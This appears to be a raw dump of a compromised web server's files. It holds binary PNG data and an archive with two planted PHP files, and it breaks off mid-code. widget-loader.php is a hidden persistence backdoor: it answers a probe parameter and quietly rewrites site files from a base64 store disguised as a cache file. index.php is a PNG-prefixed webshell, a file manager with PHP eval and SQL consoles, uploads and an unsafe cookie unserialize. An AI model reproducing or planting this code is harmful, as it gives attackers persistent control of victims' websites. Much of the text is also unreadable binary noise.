‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd364262.zip                                                                                          0000644                 00000567245 15243251040 0006055 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     S]R!( 
   
    widget-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     S]Z: @  @   index.php.tarnu [        home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243236737 0017372 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
